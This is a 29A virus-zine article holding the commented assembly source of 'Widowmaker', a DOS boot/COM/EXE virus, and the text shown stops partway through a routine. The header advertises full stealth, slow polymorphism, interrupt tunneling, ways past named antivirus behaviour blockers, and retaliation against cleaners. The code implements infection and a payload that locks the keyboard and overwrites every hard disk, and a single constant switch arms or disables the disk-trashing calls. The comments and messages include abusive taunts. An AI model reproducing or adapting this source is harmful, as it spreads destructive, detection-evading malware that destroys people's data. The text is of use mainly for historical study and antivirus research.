Copy Link
Add to Bookmark
Report
29A Issue 03 05 08
;
; - Widowmaker V1.02, done by ED-209/Immortal Riot -
;
; Multi-partite full-stealth slow-polymorphic BOOT/COM/EXE-infector.
;
;
;
;
;
;
;
;
;
; "Until now, there was no cure for Windows95..."
;
; "Time has come to pay..."
;
;
;
;
;
;
;
; NETTO SIZE : Approx. 5800 bytes.
; OPERATING SYSTEM : MS-DOS compatible systems.
; PROCESSOR : 8086 and up.
; CODING DATE : July/August-1998.
;
;
;
; Full-stealth (network compatible).
; Highly slow-polymorphic in files.
; Stealths reads/writes to the zerotrack of harddisks.
; Tunneling i13h/i21h with complex opcode-stealther.
; Skips various behaviour-blockers during tracing.
; Payload: random data-corruption.
; Variable encrypting original boot/boot/files.
; Disables stealth during execution CHKDSK & archivers.
; Retro: attacks systems after "removal" or fake calls.
; Fucks TBClean when cleaning.
; Adds parameters to various programs to avoid detection.
; Doesn't infect various AV-programs.
; Infects on findfirst/findnext.
; Uses UMBs while going resident from files.
; And does some other things, just take a look...
;
;
;
; INFECTION: This is a very fast infector, it infects on program execute
; (4B00h), open (3Dh), extended open (6C00h), get/set file
; attributes (43h), delete file (41h), and on handle findfirst/
; findnext operations (only randomly). The virus will avoid
; infecting Windoze-files, AV-programs, and files which are too
; big/small.
;
;
; STEALTH: The virus uses true re-direction stealth (no SFTs, so we are
; compatible with networks, etc). It intercepts i21h functions
; 11h/12h (findfirst/next FCB), 4Eh/4Fh (findfirst/next handle),
; 3Fh (read), 4202h (lseek to EOF), and 5700h (get filedate and
; time) to stealth infected files. Besides these standard
; stealthing-mechanisms it also cleans infected files before
; allowing any writes to it (i21h/40h), and cleans programs when
; executed by a debugger (i21h/4B01h). Reads and writes to the
; boot are stealthed. Another form of stealth is the fact that
; Widowmaker adds parameters to various (AV-) programs, in most
; cases parameters to skip the memory-scan (so it won't be
; detected if the scanner is updated and scans RAM for us), and
; parameters to skip the "this-program-is-old" message, this is
; done coz else the user could get a upgraded version of the AV-
; scanner which uses different techniques to detect us.
;
;
; TUNNELER: Widowmaker uses an recursive tunneler, in most cases it will
; skip UMBs so we don't have any problems with the INT 13h
; entrypoint anymore, for INT 21h it assumes the DOS datasegment
; is the DOS-segment (AH=52h). The tunneler also has an opcode-
; checker, which will hide & protect the trapflag, the following
; instructions are stealthed: PUSHF/POPF/IRET/INT/INTO/INT3 and
; the following prefixes are recursivly skipped: CS:/DS:/ES:/SS:
; /REPZ/REPNZ/LOCK. The virus also can trace/stealth POP SS
; instructions, so AVPTSR will not detect any tunneling attempts
; made by our virus. Also, it will check that the actual dos-
; segment is found and not AVP. If some AV-program tries to be
; funny by using our segment, so it can use un-stealthed
; instructions, it will have it's ass kicked immediately.
;
;
; PAYLOAD: There is a chance that the sector(s) being read/written by
; i13h are overwritten by a part of the virus (includes text).
; Besides this random data-corruption the virus also has an
; activation-routine which is called when the virus notices that
; it is being spotted. Whenever a disk is infected the virus
; first checks if a random signature is present on a specified
; sector, if so, then the disk was infected before and cleaned
; (thus the virus is spotted). Another "anti-spot" routine is
; the residency-check, it checks if a signature is present in
; the caller, if not then the call is made by a program that
; detects active virii in memory (and disables 'em). When the
; virus notices that it is being spotted it activates the
; payload: it locks the keyboard so no quick resets can be done,
; clears the screen and displays a message, and then overwrites
; most data on all harddisks in the system. The payload is also
; activated when the virus notices that it is being debugged.
;
;
; RETRO: Widowmaker detects when it is executed under TBClean, (or any
; other single-stepper), and if so, it trashes a part of the FAT
; (gee, can you believe how STUPID that TBClean program is?!),
; and corrupts memory with the message " DIE MOTHERFUCKER! ",
; (how original...), this also affects the videomemory, so it
; will scare the hell out of the Winshit users. Please note that
; the trick of executing a interrupt under TBClean was ripped
; from a article of Rhince & Rajaat.
;
;
; POLYMORPH: The polymorphic engine generates pointer-addressing decryptors
; by use of the four pointer-registers (BX/SI/DI/BP) with a
; random 16bit displacement. The code is encrypted with multiple
; algorithms (ADD/SUB/XOR/INC/DEC/NOT/NEG/ROL/ROR). Decryption
; is done wether upwards or downwards. Pointer-registers are
; changed with one of five methods (two directions, that gives
; us 10 different variations). The engine can produce quite
; complex garbage instructions: it supports non-zerodisplacement
; (un)-conditional JMPs, PUSHes/POPs, with garbage between 'em,
; CALLs to garbage sub-routines, dummy (sub)functions of various
; interrupts, calls to dummy interrupts, overlapping code (to
; confuse debuggers and/or disassemblers and it also generates
; most standard instructions used in programs. Plus a table with
; less-used instructions, to prevent MtE-alike detection. Most
; infected files are undetectable by heuristics, depending of
; the amount of INTs. Too make the life of AV-pussies even more
; harder it uses slow-polymorph, it will only generate a poly-
; decryptor when it becomes resident for the first time. Each
; file infected next, is carrying the same decryptor. Besides
; the external poly-layer, the virus also has a 2nd XOR-cryption
; layer (slow-variable key), with an anti-emulation routine, so
; there will be no flags triggered from the viruscode itself.
;
;
; DETECTION: This virus is not detectable by any of the scanners below,
; that is, by signature-scanning (including generic decryption).
; It also doesn't scan as MtE, TPE, etc, encrypted. It operates
; unnoticed by AVPTSR & TBAV. It takes TBScan quite some time to
; emulate his way tru the decryptors.
;
;
; - NOD 7.24 : Wow! a decent scanner! It
; detects infected files....
; Hrrmm..... Shit! Still, NOD
; can be defeated by using
; anti-heuristics similair to
; the ones of used for TBScan.
;
; - AVP 3.00 : No trigger.
;
;
;
; - TBScan 8.07 : No trigger in high heuristic
; in most cases, depending on
; the decryptor. As usual, the
; lousy heuristic analyzer is
; sometimes detecting things
; which aren't present at all.
;
;
;
; - TBClean 8.07 : Unable to clean, infact it
; activates the anti-debugging
; payload (bye bye harddisk!).
;
;
;
;
; This virus isn't exactly what I got in mind when I started
; with the whole project, there are quite a few things which
; couldn't be implemented. The reason for this is the slowly
; death of DOS, I simply refuse spending like 4 months to create
; a 'perfect' virus (no bugs, small, advanched, etc), which will
; never make it into the wild. The virus is mostly optimized
; with simple optimizations. I'm not 100% satisfied with the
; tunneler, it was the last thing I coded for this virus, and
; I didn't felt like making it 'perfect'. I haven't discovered
; any bugs in the tunneler, but I also haven't tested it that
; well. One thing that drove me crazy was this one part in the
; tunneler, where it compares the instruction-segment with the
; DOS-segment, the trapflag isn't turned off, though the correct
; DOS entrypoint-address is found.
;
;
; GREETS: Buz-, DrDope, Gulgi, Metal Militia, nUcLeii, Priest, r-,
; Rajaat, _ssr, T-2000, Targor, The Unforgiven, _URGO32, [VEiN],
; VirusBust, and Virus-X.
;
;
; !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !!
;
; I strongly suggest that you do NOT try out this virus!
; It is HIGHLY destructive!
; If you infect a diskette/harddisk for the second time, the virus
; will activate, and trash ALL drives in your system!
;
; If the world fucks me, I'll fuck it back...
;
;
; This baby is named after the illegal fireworks "Widowmakers" (and believe
; me, that name doesn't lie!). They procuce an ENORMOUS boom, and will blow
; your hands off in no-time!
;
;
;
;
; Special message goes out to the law: FUCK YOU! You will never bring me
; down! Stealin' our money, rippin' our freedom, I DON'T WANT YOU! I never
; asked for a master!
;
;
; For those about to die, we salute you...
;
;
;===========================[ W1D0WM4K3R.4SM ]===============================
.MODEL TINY
.STACK Work_Stack
.CODE
JUMPS ; I'm too lazy to fix this, sorry...
Work_Stack EQU 8000
Yes_dont_hurt_me = 0 ; Damage-routines disabled.
No_way_lets_kick_ass = 1 ; Damage-routines enabled.
Pussy_Mode = Yes_dont_hurt_me
Virus_Size EQU (Virus_End - $)
Netto_Size EQU (Virus_Size + Max_Decryptor)
Virus_Size_Mem EQU ((Netto_Size * 2) + 256 + Work_Stack + 15) / 16
Virus_Size_kB EQU ((Virus_Size_Mem * 16) + 1023) / 1024
Body_Sectors EQU ((Virus_Size - 512) + 511) / 512
Mark_Boot EQU 0FACEh
Encr_Loadersize EQU (510 - (Encrypted_Boot - $))
Res_Check_i13h EQU 0EFF9h
Res_Check_i21h EQU 0EB79h
Marker_i13h EQU 7622h
Marker_i21h EQU 1A63h
Marker_File EQU 0F2B1h
Marker_Call_OK EQU 4D37h
Mark_ID_Sector EQU 0DEADh
Century EQU 100 SHL 1 ; Hundred years in datetime-format.
Infected_Date EQU (2080 - 1980) SHL 1 ; 2080.
; Ripped from Mirror virus.
dwb macro wval, bval
dw wval
db bval
endm
Virus_Begin:
; === BOOT ===
JMP Virus_Entry
NOP
; === Original header of our host ===
Host_Bytes DW 'ZM' ; We are an .EXE-type.
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW OFFSET Carrier
DW 0
Hook_Counter DB 0
i01h DW 0, 0
Trace_Mode DW 0
i13h DW 0, 0
Traced_i13h DW 0, 0
i21h DW 0, 0
Traced_i21h DW 0, 0
ORG 62
Virus_Entry:
MOV BX, 7C00h + OFFSET Encrypted_Boot
MOV CX, Encr_Loadersize
Decr_Boot: XOR BYTE PTR CS:[BX], 00h ; Decrypt boot.
Key_Virus_Boot = BYTE PTR $-1
INC BX
LOOP Decr_Boot
JMP Encrypted_Boot
; *** DATA-TABLE ***
Stored_TS DW 0
Stored_HD DW 0
Sign_Boot DW Mark_Boot
Key_Stored_Boot DW 0
; *** ENCRYPTED IN BOOT ***
Encrypted_Boot: MOV SI, 7C00h
XOR DI, DI
CLI ; Set stack.
MOV SS, DI
MOV SP, SI
STI
MOV DS, DI
MOV DS:[7C00h + Hook_Counter], 2
INT 12h ; Reserve needed DOS-memory.
MOV BP, AX
SUB AX, Virus_Size_kB
MOV DS:[413h], AX
MOV CL, 6 ; Calculate our new segment.
SHL AX, CL
MOV ES, AX
MOV CX, 512 ; Copy bootsector to our
PUSH CX ; segment.
CLD
REP MOVSB
MOV AX, OFFSET Reloc_Boot
PUSH ES ; Pass control to resident
PUSH AX ; copy.
RETF
Copyright DB 'Widowmaker by [ED-209/Immortal Riot]', 0
Reloc_Boot: MOV AX, 0200h+Body_Sectors ; Read encrypted virusbody
POP BX ; into our segment. BX=512
MOV CX, CS:Stored_TS
INC CX
MOV DX, CS:Stored_HD
INT 13h ; Fuck! I *HATE* using INT's
; in my virii! No room for
; tunneler, sorry...
; === Decrypt encrypted virusbody ===
MOV AX, 0000h
Key_Virus_Body = WORD PTR $-2
MOV CX, (Body_Sectors * 512) / 2
Decr_Body: XOR CS:[BX], AX
INC BX
INC BX
LOOP Decr_Body
MOV CS:JMP_Databyte, CL
MOV CS:Old_Dos_Mem, BP
MOV AX, 13h * 4
CALL Trace_Interrupt
CLI
MOV DS:[13h * 4], OFFSET NewInt13h
MOV DS:[13h * 4 + 2], CS
MOV DS:[21h * 4], CX
MOV DS:[21h * 4 + 2], CX
MOV CS:i21h, CX ; Save INT 21h.
MOV CS:i21h+2, CX
STI
CALL Read_MBS ; Infect MBS.
INT 19h ; Reboot with stealth.
Version_Number DB '[V1.02]'
Check_Int21h:
CALL Push_All
CWD ; DS=0000h.
MOV DS, DX
PUSH CS
POP ES
MOV SI, 21h * 4
MOV DI, OFFSET i21h
CLD
CMPSW ; INT 21h changed?
JNE Hook_i21h
CMPSW ; INT 21h changed?
JE Exit_Chk_i21h
Hook_i21h: MOV AX, DS:[21h * 4 + 2]
OR AX, AX ; Not set yet?
JZ Exit_Chk_i21h
CMP AX, 800h ; Too high?
JA Exit_Chk_i21h
CMP AX, DS:[20h * 4 + 2] ; Same as INT 20h ?
JNE Exit_Chk_i21h
CMP AX, DS:[27h * 4 + 2] ; Same as INT 27h ?
JNE Exit_Chk_i21h
MOV SI, CS
CMP AX, SI ; Our own CS ? then not DOS.
JE Exit_Chk_i21h
LDS SI, DS:[21h * 4]
CMP DS:[SI], 9090h ; DOS-kernal?
JNE Exit_Chk_i21h
DEC CS:Hook_Counter ; Give system some time to
JNZ Exit_Chk_i21h ; stabilize the hook.
MOV DS, DX ; DS=0000h.
; Restore amount of DOS-memory after MCBs are created.
MOV WORD PTR DS:[413h], 0000h
Old_Dos_Mem = WORD PTR $-2
CALL Hook_Int21h
Exit_Chk_i21h: CALL Pop_All
RETN
;-----------------------------
; Tunnels INT 13h or INT 21h.
;
;
; AX = offset INT in IVT.
;-----------------------------
Trace_Interrupt:
CALL Push_All
MOV CS:Trace_Mode, AX
CWD ; DS=0000h.
MOV DS, DX
PUSH CS
POP ES
MOV SI, 01h * 4 ; Save address INT 01h.
MOV DI, OFFSET i01h
CLD
MOVSW
MOVSW
PUSH AX
CMP AX, 13h * 4 ; Can we use DOS-functions?
JNE Trace_With_Dos
MOV WORD PTR DS:[SI-4], OFFSET NewInt01h
MOV WORD PTR DS:[SI-2], CS
JMP Set_TF
Trace_With_Dos: PUSH CS
POP DS
MOV AX, 2501h ; Hook INT 01h.
MOV DX, OFFSET NewInt01h
INT 21h
MOV AH, 52h ; Get list of lists.
INT 21h ; ** UNDOCUMENTED **
MOV DOS_Segment, ES
Set_TF: PUSHF ; Set trapflag.
POP AX
OR AH, 00000001b
PUSH AX
POPF
POP SI ; Offset in IVT.
PUSH SI
XOR AX, AX ; DS=0000h.
MOV DS, AX
PUSH CS ; ES=CS.
POP ES
CMP SI, 13h * 4
JNE Trace_Int21h
MOV DI, OFFSET i13h
CLD
MOVSW
MOVSW
POP SI
CLD
MOVSW
MOVSW
XOR AH, AH ; Trace reset disk.
CALL Int13h
JMP Exit_Trace_Int
Trace_Int21h: MOV DI, OFFSET i21h
CLD
MOVSW
MOVSW
POP SI
MOVSW
MOVSW
MOV AH, 19h
CALL Int21h
Exit_Trace_Int: PUSHF ; Play save and clear TF.
POP AX
AND AH, NOT 00000001b
PUSH AX
POPF
PUSH DS ; ES=0000h.
POP ES
PUSH CS
POP DS
CMP Trace_Mode, 13h * 4
JNE Restore_i01h_DOS
MOV SI, OFFSET i01h
MOV DI, 01h * 4
CLD
MOVSW
MOVSW
JMP Exit_Tracer
Restore_i01h_DOS:
MOV AX, 2501h
LDS DX, DWORD PTR i01h
CALL Traced_Int21h
Exit_Tracer: CALL Pop_All
RETN
Read_MBS:
MOV AX, 0201h ; Read MBS of 1st harddisk
MOV BX, OFFSET Buffer ; via INT 13h so the virus
INC CX ; will infect it, (CX=0001h).
MOV DX, 0080h
INT 13h
RETN
Virus_Name DB '[W1D0WM4K3R]'
ORG 510
DW 0AA55h ; Valid bootsector-marker.
Push_All:
POP CS:Return_Address ; POP return-address.
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH BP
PUSH SI
PUSH DI
PUSH DS
PUSH ES
JMP CS:Return_Address
Pop_All:
POP CS:Return_Address
POP ES
POP DS
POP DI
POP SI
POP BP
POP DX
POP CX
POP BX
POP AX
POPF
JMP CS:Return_Address
;-------------------------------
; AX = Cryption-key.
; CX = Words to crypt.
; ES:BX = Buffer to crypt.
;-------------------------------
Word_Crypt:
PUSH BX
Crypt_Word: XOR ES:[BX], AX
INC BX
INC BX
LOOP Crypt_Word
POP BX
RETN
; AL = INT.
; AX:BP = address INT.
Get_Int:
PUSH DX
PUSH DS
PUSH ES
XOR AH, AH
SHL AX, 2
XCHG BP, AX
XOR AX, AX ; DS=0000h.
MOV DS, AX
LDS DX, DWORD PTR DS:[BP]
MOV BP, DX
MOV AX, DS
POP ES
POP DS
POP DX
RETN
Strip_Prefixes:
PUSH CX
PUSH SI
PUSH CS
POP ES
CLD
Skip_Prefix: LODSB ; AX = next instruction(s).
MOV CX, (End_Prefixes - Prefixes)
MOV DI, OFFSET Prefixes
REPNE SCASB ; Prefix?
JE Skip_Prefix ; Then skip it, & loop again.
MOV BX, SI
POP SI
POP CX
RETN
;============================================================================
; INT 01h HANDLER
;============================================================================
NewInt01h:
MOV CS:Tracer_DS, DS
PUSH CS
POP DS
MOV Tracer_AX, AX
MOV Tracer_BX, BX
MOV Tracer_CX, CX
MOV Tracer_DX, DX
MOV Tracer_BP, BP
MOV Tracer_SI, SI
MOV Tracer_DI, DI
MOV Tracer_ES, ES
POP SI ; IP
POP DS ; CS
POP CX ; Flags
CLD
CALL Skip_Blockers ; Prevent stack-checks.
JC Exit_Int01h
MOV AX, DS
CMP CS:Trace_Mode, 13h * 4 ; Tracing INT 13h ?
JNE Tracing_i21h
CMP AX, 0C800h ; Below BIOS ?
JB Stealth_Opcode
CMP AX, 0F000h ; Above BIOS ?
JA Stealth_Opcode ; This also skips most UMBs.
MOV CS:Traced_i13h, SI
MOV CS:Traced_i13h+2, AX
JMP Kill_TF
Tracing_i21h:
CMP AX, 0000h
DOS_Segment = WORD PTR $-2
JNE Stealth_Opcode
CMP DS:[SI], 9090h
JNE Stealth_Opcode
MOV CS:Traced_i21h, SI
MOV CS:Traced_i21h+2, AX
Kill_TF: AND CH, NOT 00000001b
JMP Exit_Int01h
Stealth_Opcode:
MOV BP, CS
CMP BP, AX ; Skip our CS, so our own
JNE Get_Opcode ; instructions won't be
; stealthed.
CMP SI, OFFSET Virus_End ; Piggybacker?
JB Exit_Int01h
JMP Retaliate ; Then fuck him!
Get_Opcode: CALL Strip_Prefixes
CMP AL, 17h ; POP SS ?
JNE Check_PUSHF
MOV BP, SS
POP DX
CMP DX, BP ; Dummy SS-modification ?
JNE Restore_Stack
MOV SI, BX ; Skip POP SS.
JMP Get_Opcode
Restore_Stack: PUSH DX
Check_PUSHF: CMP AL, 9Ch ; PUSHF ?
JNE Check_POPF
MOV SI, BX ; Skip PUSHF
AND CH, NOT 00000001b ; Clear TF.
PUSH CX ; PUSH flags.
OR CH, 00000001b ; Set TF back.
Check_POPF: CMP AL, 9Dh ; POPF ?
JNE Check_IRET
POP CX ; POP flags to CX.
OR CH, 00000001b ; Set TF.
MOV SI, BX ; Skip POPF
Check_IRET: CMP AL, 0CFh ; IRET ?
JNE Chk_Breakpoint
POP SI
POP DS
POP CX
OR CH, 00000001b ; Set TF.
CMP AL, 0CEh ; INTO ?
JNE Chk_Breakpoint
TEST CH, 00001000b ; Overflow flag set?
JZ Exit_Int01h
MOV AX, BX
JMP Simulate_INT
Chk_Breakpoint: CMP AL, 0CCh ; INT 3 (breakpoint) ?
JNE Check_INT
MOV AX, BX ; AX = return-address.
JMP Simulate_INT
Check_INT: CMP AL, 0CDh ; INT ##?
JNE Exit_Int01h
LEA AX, [BX+1] ; Return-address INT.
Simulate_INT: AND CH, NOT 00000001b ; Clear TF.
PUSH CX ; Flags
PUSH DS ; CS
PUSH AX ; AX
OR CH, 00000001b ; Set TF.
MOV AL, 03h
CMP BYTE PTR DS:[BX-1], 0CCh ; Breakpoint?
JE Get_Int_Addr
MOV AL, DS:[BX] ; AL = INT #.
Get_Int_Addr: CALL Get_Int
MOV SI, BP
MOV DS, AX
JMP Exit_Int01h
Exit_Int01h: PUSH CX ; Flags
PUSH DS ; CS
PUSH SI ; IP
MOV AX, 0000h
Tracer_DS = WORD PTR $-2
MOV DS, AX
MOV AX, 0000h
Tracer_ES = WORD PTR $-2
MOV ES, AX
MOV AX, 0000h
Tracer_AX = WORD PTR $-2
MOV BX, 0000h
Tracer_BX = WORD PTR $-2
MOV CX, 0000h
Tracer_CX = WORD PTR $-2
MOV DX, 0000h
Tracer_DX = WORD PTR $-2
MOV BP, 0000h
Tracer_BP = WORD PTR $-2
MOV SI, 0000h
Tracer_SI = WORD PTR $-2
MOV DI, 0000h
Tracer_DI = WORD PTR $-2
IRET
;-----------------------------------------------------------------------
; Skips behaviour-blockers in memory without patching any code.
;
; I tested these routines with a TBDRIVER/TBDISK version from '92 and a
; version of 1998, so I suppose it will work with all versions within.
;
; Skips TBDRIVER & TBDISK.
;-----------------------------------------------------------------------
Skip_Blockers:
; === Check for TBDRIVER ===
CMP DS:[SI], 05EBh ; JMP SHORT ?
JNE No_TBDriver
CMP BYTE PTR DS:[SI+2], 0EAh ; JMP FAR chain ?
JNE No_TBDriver
CMP DS:[SI+7], 9CFAh ; CLI & PUSHF ?
JNE No_TBDriver
INC SI ; Skip JMP over chain.
INC SI
STC
RETN
; === Check for TBDISK ===
No_TBDriver:
CMP DS:[SI], 1D75h ; JNZ exit.
JNE No_TBDisk
CMP DS:[SI-2], 0100h
JNE No_TBDisk
CMP DS:[SI-4], 1606h
JNE No_TBDisk
CMP DS:[SI-6], 0F62Eh
JNE No_TBDisk
CMP DS:[SI-8], 0FC9Ch
JNE No_TBDisk
AND CL, NOT 01000000b ; Clear ZF.
STC
RETN
No_TBDisk:
CLC
RETN
Prefixes DB 02Eh ; CS:
DB 03Eh ; DS:
DB 026h ; ES:
DB 036h ; SS:
DB 0F3h ; REPZ
DB 0F2h ; REPNZ
DB 0F0h ; LOCK
End_Prefixes:
Start_File:
CLI ; Detect tracers such as
PUSH AX ; debuggers, TBClean, etc.
MOV BP, SP
POP AX
CMP [BP], AX
STI
JE No_Tracer
Retaliate: MOV AX, 0320h ; Trash critical area of HD.
MOV CX, 02h
MOV DX, 0180h
PUSH SS ; Trix sum fewlz.
POP SS
DB 2Eh ; CS: (anti-TBClean).
IF Pussy_Mode EQ No_way_lets_kick_ass
INT 13h
ENDIF
; Fuck TBClean code.
CLD
XOR BX, BX
Trash_Mem: MOV ES, BX
MOV AH, 0CFh
MOV CX, (Trash_Mem_Msg_End - Trash_Mem_Msg)
MOV SI, OFFSET Trash_Mem_Msg
XOR DI, DI
Dump_Character: LODSB
STOSW
LOOP Dump_Character
SUB BX, 3
JMP Trash_Mem
Trash_Mem_Msg DB ' DIE MOTHERFUCKER! '
Trash_Mem_Msg_End:
No_Tracer: MOV AX, Res_Check_i21h ; INT 21h residency-check.
INT 21h
CMP AX, Marker_i21h ; Already hooked INT 21h ?
JE Run_Host
MOV AX, Res_Check_i13h ; INT 13h residency-check.
INT 13h
CMP AX, Marker_i13h ; Already hooked INT 13h ?
JE Run_Host
MOV AX, 5802h ; Get UMB link state.
INT 21h
XOR AH, AH ; Save state on stack.
PUSH AX
MOV AX, 5803h ; Link UMBs to memory-chain.
MOV BX, 0001h
INT 21h
XOR DI, DI
MOV AH, 62h
INT 21h
XCHG BX, AX
DEC AX
Find_Last_MCB: MOV DS, AX
CMP BYTE PTR DS:[DI], 'Z' ; Last block in chain?
JE Last_MCB_Found
INC AX ; MCB-header.
ADD AX, DS:[DI+3] ; Size in block.
JMP Find_Last_MCB
Last_MCB_Found: XCHG CX, AX
MOV AX, DS:[DI+3]
SUB AX, Virus_Size_Mem
JC Run_Host
MOV DS:[DI+3], AX
INC AX
ADD AX, CX
MOV ES, AX
MOV AX, 5803h ; Restore UMB link state.
POP BX
INT 21h
PUSH CS
POP DS
MOV CX, Virus_Size ; Copy us to our segment.
CLD
REP MOVSB
MOV AX, OFFSET Reloc_File
PUSH ES ; Pass control to resident
PUSH AX ; viruscopy.
RETF
DB 0EAh ; Some overlapping code.
Reloc_File:
PUSH CS
POP DS
CALL Hook_Int21h
MOV AX, 13h * 4 ; Find entrypoint of INT 13h.
CALL Trace_Interrupt
MOV AX, 2513h ; Hook INT 13h.
MOV DX, OFFSET NewInt13h
CALL Traced_Int21h
CALL Read_MBS
XOR SI, SI ; Zero displacement.
Run_Host: POP ES ; Restore most registers.
POP DS
POP DI
POP BP
POP DX
POP CX
POP BX
POP AX
ADD SI, (OFFSET Host_Bytes - Virus_Begin)
IN AL, 21h ; Reverse state keyboard.
XOR AL, 00000010b
OUT 21h, AL
CMP CS:[SI.EXE_Mark], 'ZM' ; Our host is a .EXE-file?
JE Run_Host_EXE
Run_Host_COM: PUSH CS
POP DS
MOV DI, 100h ; Restore bytes of .COM-host.
PUSH ES
PUSH DI
MOV CX, (24 / 2)
CLD
REP MOVSW
XOR AX, AX
XOR SI, SI
XOR DI, DI
PUSH ES
POP DS
RETF
DB 0EAh ; Some overlapping stuph.
Run_Host_EXE: MOV AX, DS
ADD AX, 10h
ADD CS:[SI.Program_CS], AX
ADD AX, CS:[SI.Program_SS]
CLI ; Restore host' stack.
MOV SS, AX
MOV SP, CS:[SI.Program_SP]
STI
XOR AX, AX
; Pass control to host.
JMP DWORD PTR CS:[SI.Program_IP]
; Dedicated to the dungeon keeper of #virus,
; I told you I would do it you lame fuck! Hahahaha!
DB 'Marc sucks!'
Stealth_Read:
CALL Push_All
MOV CS:Read_Bytes, CX
MOV CS:Read_Buffer, DX
CALL Save_File_Pos
CALL Check_Stealth
JE JMP_Abort_Read
CALL Check_File_Date
JNB Check_Read
JMP_Abort_Read: JMP Abort_Stealth_Read
Check_Read: CALL Save_File_Pos
ADD AX, 00h
Read_Bytes = WORD PTR $-2
ADC DX, CX
MOV DI, DX ; DI:SI = pos after read.
XCHG SI, AX
CALL Go_EOF
SUB AX, Netto_Size ; DX:AX = length host.
SBB DX, CX
CMP DI, DX
JB Skip_Stealth_Read
JA Do_Stealth_Read
CMP SI, AX
JA Do_Stealth_Read
Skip_Stealth_Read:
MOV AX, CS:Read_Bytes
JMP Stealthed_Read
Do_Stealth_Read:
SUB AX, CS:Old_Pos_Low
Stealthed_Read: PUSH AX
CALL Restore_File_Pos
MOV DI, DX ; DI:SI = oldpos.
XCHG SI, AX
MOV AH, 3Fh ; Do stealthed read.
POP CX
MOV DX, 00h
Read_Buffer = WORD PTR $-2
CALL Int21h
MOV BP, SP
PUSHF
POP [BP.Reg_Flags]
MOV [BP.Reg_AX], AX
MOV [BP.Reg_DX], DX
CALL Save_File_Pos
OR DI, DI ; Reading from 1st 64k ?
JNZ Exit_Stealth_Read
CMP SI, 24 ; Reading header?
JNB Exit_Stealth_Read
CALL Go_EOF
SUB AX, (Netto_Size - 3)
SBB DX, CX
ADD AX, SI ; Plus offset in header.
ADC DX, CX
MOV CX, DX ; Seek to position stored
XCHG DX, AX ; header.
MOV AX, 4200h
CALL Traced_Int21h
MOV AH, 3Fh ; Read original header in
MOV CX, 24 ; caller's buffer.
SUB CX, SI
MOV DX, CS:Read_Buffer
ADD DX, SI
CALL Traced_Int21h
CALL Restore_File_Pos
Exit_Stealth_Read:
CALL Pop_All
RETF 2
Abort_Stealth_Read:
CALL Restore_File_Pos
CALL Pop_All
JMP JMP_Int21h
Stealth_Seek:
CALL Push_All
CALL Check_Stealth
JE Exit_Stealth_Seek
CALL Check_File_Date
JB Exit_Stealth_Seek
CALL Go_EOF
SUB AX, Netto_Size ; DX:AX = length of our host.
SBB DX, CX
MOV CX, DX ; Seek to end of our host.
XCHG DX, AX
MOV AX, 4200h
CALL Traced_Int21h
MOV BP, SP
PUSHF ; Store flags.
POP [BP.Reg_Flags]
MOV [BP.Reg_AX], AX ; Store results.
MOV [BP.Reg_DX], DX
CALL Pop_All
RETF 2
Exit_Stealth_Seek:
CALL Pop_All
JMP JMP_Int21h
Clean_Handle:
CALL Push_All
CALL Hook_Int24h
CALL Check_Handle
JNZ Exit_Clean_Handle
CALL Check_File_Date
JB Exit_Clean_Handle
PUSH CX
PUSH DX
CALL Save_File_Pos
CALL Go_EOF
SUB AX, (Netto_Size - 3)
SBB DX, CX
MOV CX, DX ; Go to position of
XCHG DX, AX ; stored header.
MOV AX, 4200h
PUSH AX
CALL Traced_Int21h
CALL Read_Header
CALL Go_EOF
SUB AX, Netto_Size ; DX:AX = size of our host.
SBB DX, CX
MOV CX, DX ; Go to end of our host.
XCHG DX, AX
POP AX ; AX=4200h.
CALL Traced_Int21h
MOV AH, 40h ; Write <EOF> marker,
XOR CX, CX ; (cut-off virusbody).
CALL Traced_Int21h
CALL Go_BOF
MOV AH, 40h ; Write original header back.
MOV CX, 24
MOV DX, SI
CALL Traced_Int21h
MOV AX, 5701h
POP DX
POP CX
SUB DH, Century
CALL Traced_Int21h
CALL Restore_File_Pos
Exit_Clean_Handle:
CALL Unhook_Int24h
CALL Pop_All
RETN
Clean_By_File:
CALL Push_All
MOV AX, 3D02h ; Open file read/write.
CALL Traced_Int21h
JC XIt_Clean_File
XCHG BX, AX ; BX = filehandle.
CALL Clean_Handle ; Clean file.
MOV AH, 3Eh ; Close file.
CALL Traced_Int21h
XIt_Clean_File: CALL Pop_All
JMP JMP_Int21h
Clean_By_Handle:
CALL Clean_Handle
JMP JMP_Int21h
Stealth_Filedate:
CALL Int21h ; Get filedate & time.
PUSHF
JC Exit_Stealth_Date ; Exit when error.
CMP DH, Infected_Date ; Infected date?
JB Exit_Stealth_Date
SUB DH, Century ; If so, restore original.
Exit_Stealth_Date:
POPF
RETF 2 ; Return to caller.
Check_File_Date:
MOV AX, 5700h
CALL Traced_Int21h
CMP DH, Infected_Date ; Infected datestamp?
RETN
Read_Header:
MOV SI, OFFSET Header
MOV AH, 3Fh
MOV CX, 26
MOV DX, SI
CALL Traced_Int21h
RETN
Check_Handle:
MOV AX, 4400h ; Get IOCTL-info.
CALL Traced_Int21h
TEST DL, 10000000b ; Only filehandles.
RETN
Promise DB '3Y3 W1LL D3$TR0Y D1Z W0RLD'
Ret_Mark_i21h:
CMP DS:[SI.Sign_Legal_Call], Marker_Call_OK
JNE Activate
MOV AX, Marker_i21h
IRET
; Displays a message & trashes all drives.
Activate:
IN AL, 21h ; Rip their keyboard.
OR AL, 00000010b
OUT 21h, AL
PUSH CS
POP DS
PUSH CS
POP ES
MOV AX, 03h ; Clear screen.
INT 10h
MOV SI, OFFSET Payload_Msg ; Display payload-message.
CALL Display_Msg
XOR BX, BX
MOV CX, 02h
MOV DX, 0180h
Trash_Loop: XOR AH, AH ; Reset disk.
CALL Traced_Int13h
MOV AX, 0320h ; Trash 32 sectors starting
IF Pussy_Mode EQ No_way_lets_kick_ass
CALL Traced_Int13h ; at sector 2.
ENDIF
ADD CH, DH ; Next track.
ADC DL, BL ; Next drive.
JMP Trash_Loop
Payload_Msg DB 0Ah, 0Dh, 0Ah, 0Dh
DB '*** W1D0WM4K3R V1RUS ***'
DB 0Ah, 0Dh, 0Ah, 0Dh
DB 'I''m the Widowmaker, making yet another widow!'
DB 0Ah, 0Dh
DB 'MUHAHAHAHA! DIE YOU FUCK!!!'
DB 0Ah, 0Dh
DB 0Ah, 0Dh, 00h
; DS:SI=msg.
Display_Msg:
MOV AH, 0Eh
